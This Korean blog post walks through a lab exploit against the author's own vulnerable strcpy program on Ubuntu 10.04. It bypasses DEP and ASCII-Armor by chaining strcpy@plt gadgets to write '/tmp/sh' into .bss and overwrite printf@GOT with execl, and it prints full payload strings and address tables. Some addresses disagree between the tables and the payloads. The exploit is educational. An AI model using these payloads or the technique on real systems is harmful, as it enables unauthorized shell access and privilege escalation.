티스토리 뷰


PLT&GOT 공격 

(DEP, ASCII Armor 우회, PLT&GOT Overwrite 공격)



- Chaining RTL 공격을 위해 gadgets 연속적으로 활용.

- DEP + ASCiiArmor + ASLR 적용 


[환경 요약]

OS

Ubuntu 10.4

파일

/tmp/test4.c

ASLR

O (echo 1 > /proc/sys/kernel/randomize_va_space)

ASCII-Armor

O (라이브러리 시작주소 ‘00’ 설정)

DEP(N/X)

O (gcc -o test4 test4.c -fno-stack-protector -fno-builtin -mpreferred-stack-boundary=2)

취약점

strcpy 함수 이용


*공격 시나리오

1. Chaining RTL 이용하여 BSS 주소에 “/tmp/sh” 문자 입력

2. Chaining RTL 이용하여 printf@got 공간에 execl()주소로 Overwrite.

3. BSS주소를 인자값을 전달하여 execl() 호출

 

DEP ASCii Armor를 우회하기 위해 printf@got shell을 실행시킬 execl()함수의 주소를 overwrite시켜 printf@plt를 호출하면 execl()가 실행된다.

인자 값을 입력할 수 없으므로 저장 가능한 BSS공간을 활용한다.

Chaining RTL : PPR Gadget (POP,POP,RET) 주소를 활용하여 함수를 연속적으로 호출할 수 있다.

Gadget 명령의 순서


SFP

함수1

PPR

인자1

인자2

함수2

PPR

인자1

인자2

. . .

AAAA

Strspy()

Gadget 주소

Overwrite할 주소

복사할

문자 주소

Strspy()

Gadget 주소

Overwrite할 주소

복사할 문자 주소

 

* 공격 전 준비사항

-      /tmp/test4.c strcpy()를 이용한 bufferoverflow 취약한 프로그램 작성

-      Buffer Dummy 계산

-      /tmp/sh.c setuid(),system() 프로그램 작성.

-      PPR 주소 검색.(POP, POP, RET)

-      “/tmp/sh”문자열 저장할BBS 주소 검색

-      '/','t','m','p','/','s','h','\x00' 문자의 주소 검색

Objdump를 이용하여 POP,POP,RET Gadget 검색 : objdump -d test5 | grep -B 3 ret



 

[그림 – ASCii Armor 적용 확인]


 

[그림 - /tmp/test4.c]


- 취약한 프로그램 작성.    


 

[그림 - buf시작위치 확인]


Buf 시작 위치가ebp-0x64이므로 payload 입력시  “A”*100 + SBP(4byte) + RET(변조


 

[그림 - /tmp/sh.c 소스]


 

[그림 – PPR Gadget 검색]


 

[그림 – BSS 영역 주소 확인]


- 0x0804a024 부터 0x0804a028 까지 .bss 영역임을 확인 할 수 있다/tmp/sh 를 작성하기 위해 0x0804a03f 부터 0x0804a046까지 사용.



BSS 범위 : 0x0804a024 - 0x0804a028 (0x0804a03f  이후부터 사용)

BSS 순서

BSS 주소

인자값

BSS[0]

0x0804a03f

"\x3f\xa0\x04\x08"

BSS[1]

0x0804a040

"\x40\xa0\x04\x08"

BSS[2]

0x0804a041

"\x41\xa0\x04\x08"

BSS[3]

0x0804a042

"\x42\xa0\x04\x08"

BSS[4]

0x0804a043

"\x43\xa0\x04\x08"

BSS[5]

0x0804a044

"\x44\xa0\x04\x08"

BSS[6]

0x0804a045

"\x45\xa0\x04\x08"

BSS[7]

0x08048146

"\x46\xa0\x04\x08"



 

[그림 - /tmp/sh 문자검색]


(gdb) find 주소범위,주소범위,’문자명령어를 통해 /tmp/sh문자 검색


 

1. Chaining RTL 이용하여 BSS 주소에 “/tmp/sh” 문자 입력


(gdb) find find 0x08048154 , 0x0804a024,'/' (/tmp/sh 검색)

문자

주소

인자값

‘/’

0x8048134

"\x34\x81\x04\x08"

‘t’

0x8048241

"\x41\x82\x04\x08

‘m’

0x804823c

"\x3c\x82\x04\x08"

‘p’

0x8048265

"\x65\x82\x04\x08"

‘/’

0x8048134

"\x34\x81\x04\x08"

‘s’

0x8048142

"\x42\x81\x04\x08"

‘h’

0x8048326

"\x26\x83\x04\x08"

‘\x00’

0x8048146

"\x46\x81\x04\x08"

 

BSS write Payload :

Strcpy@plt

PPR

인자1(BBS주소)

인자2(“/tmp/sh”)

0x8048340

0x080484b7

0x0804a03f

0x8048134 (‘/’)

0x8048340

0x080484b7

0x0804a040

0x8048241 (‘t’)

0x8048340

0x080484b7

0x0804a041

0x804823c (‘m’)

0x8048340

0x080484b7

0x0804a042

0x8048265 (‘p’)

0x8048340

0x080484b7

0x0804a043

0x8048134 (‘/’)

0x8048340

0x080484b7

0x0804a044

0x8048142 (‘s’)

0x8048340

0x080484b7

0x0804a045

0x8048326 (‘h’)

0x8048340

0x080484b7

0x0804a046

0x8048146 (‘\x00’)

 

"`python -c 'print "a"*104+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x3f\xa0\x04\x08"+"\x34\x81\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x40\xa0\x04\x08"+"\x41\x82\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x41\xa0\x04\x08"+"\x3c\x82\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x42\xa0\x04\x08"+"\x65\x82\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x43\xa0\x04\x08"+"\x34\x81\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x44\xa0\x04\x08"+"\x42\x81\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x45\xa0\x04\x08"+"\x46\x83\x04\x08"'`"





 

[그림 - BSS주소에 “/tmp/sh” 작성]

 

Chaining RTL 이용하여 printf@got 공간에 execl() 주소로 Overwrite.


 

[그림 – printf 주소 확인]


-      printf@GOT 주소인 0x804a00c의 안에 값은 0x00177b00이다. 이 주소가 printf()주소 이므로 execl()주소로 Overwirte 하면 된다.


 

execl() 주소찾기  : 0x400c2390

 

(gdb) find find 0x08048154 , 0x0804a024,'execl주소1byte'

(\x90,\x23,\x0c,\x40)

검색 범위 : 0x08048154 , 0x0804a024

검색 범위 : 0x40000000 , 0x4001b000

문자

주소

인자값

‘\x90’

0x40012268

"\x68\x22\x01\x40"

\x23

0x4001081b

"\x1b\x08\x01\x40"

‘\x0c’

0x80484d2

"\xd2\x84\x04\x08"

‘\x40’

0x4001ae64

"\x64\xae\x01\x40"


 

[그림 – 검색범위 확인]


추가 검색범위로 읽기, 실행 가능한 부분 확인.

 

printf@GOT Overwrite Payload :

Strcpy@plt

PPR

printf@GOT주소

Execl()주소

0x8048340

0x080484b7

0x0804a00c

0x40012268 (‘\x90’)

0x8048340

0x080484b7

0x0804a00d

0x4001081b (‘\x23’)

0x8048340

0x080484b7

0x0804a00e

0x080484d2 (‘\x0c’)

0x8048340

0x080484b7

0x0804a00f

0x4001ae64 (‘\x40’)










"`python -c 'print "a"*104+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0c\xa0\x04\x08"+"\x68\x22\x01\x40"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0d\xa0\x04\x08"+"\x1b\x08\x01\x40"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0e\xa0\x04\x08"+"\xd2\x84\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0f\xa0\x04\x08"+"\x64\xae\x01\x40"’`”



 

[그림 – printf@GOT 변조 확인]


마지막에 추가할 Payload: 함수 사용 예제  execl( "/bin/ls", "/bin/ls", NULL);


 

printf@PLT

dummy

BSS시작 주소

BSS시작 주소

NULL 주소

0x8048350

AAAA

0x0804a03f

0x0804a03f

0x8048146

Strcpy@plt

PPR

인자1

인자2

0x8048340

0x080484b7

0x0804a03f (bbs[0])

0x8048134 (‘/’)

0x8048340

0x080484b7

0x0804a040 (bbs[1])

0x8048241 (‘t’)

0x8048340

0x080484b7

0x0804a041 (bbs[2])

0x804823c (‘m’)

0x8048340

0x080484b7

0x0804a042 (bbs[3])

0x8048265 (‘p’)

0x8048340

0x080484b7

0x0804a043 (bbs[4])

0x8048134 (‘/’)

0x8048340

0x080484b7

0x0804a044 (bbs[5])

0x8048142 (‘s’)

0x8048340

0x080484b7

0x0804a045 (bbs[6])

0x8048326 (‘h’)

0x8048340

0x080484b7

0x0804a046 (bbs[7])

0x8048146 (‘\x00’)

0x8048340

0x080484b7

0x0804a00c(printf@got)

0x40012268 (‘\x90’)

0x8048340

0x080484b7

0x0804a00d(printf@got)

0x4001081b (‘\x23’)

0x8048340

0x080484b7

0x0804a00e(printf@got)

0x080484d2 (‘\x0c’)

0x8048340

0x080484b7

0x0804a00f(printf@got)

0x4001ae64 (‘\x40’)

0x8048350(printf@plt)

AAAA

0x0804a03f(bss)

0x0804a03f (bss)

0x8048146 (‘\x00’)

 

 

 
























최종 Payload:

"`python -c 'print "a"*104+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0c\xa0\x04\x08"+"\x68\x22\x01\x40"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0d\xa0\x04\x08"+"\x1b\x08\x01\x40"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0e\xa0\x04\x08"+"\xd2\x84\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0f\xa0\x04\x08"+"\x64\xae\x01\x40"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x3f\xa0\x04\x08"+"\x34\x81\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x40\xa0\x04\x08"+"\x41\x82\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x41\xa0\x04\x08"+"\x3c\x82\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x42\xa0\x04\x08"+"\x65\x82\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x43\xa0\x04\x08"+"\x34\x81\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x44\xa0\x04\x08"+"\x42\x81\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x45\xa0\x04\x08"+"\x26\x83\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x46\xa0\x04\x08"+"\x46\x81\x04\x08"+

"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x47\xa0\x04\x08"+"\x46\x81\x04\x08"+

"\x50\x83\x04\x08"+"AAAA"+"\x3f\xa0\x04\x08"*2+"\x46\x81\x04\x08"'`"


 

[그림 – 최종 공격 성공]

Ubuntu 10.4 버전의DEP, ASCII-Armor 우회하기 위해 Chaining RTL 을 이용하여 PLT&GOT Overwrite 공격을 성공시킬 수 있다





Comments
최근에 올라온 글
최근에 달린 댓글
TAG
more
Total
Today
Yesterday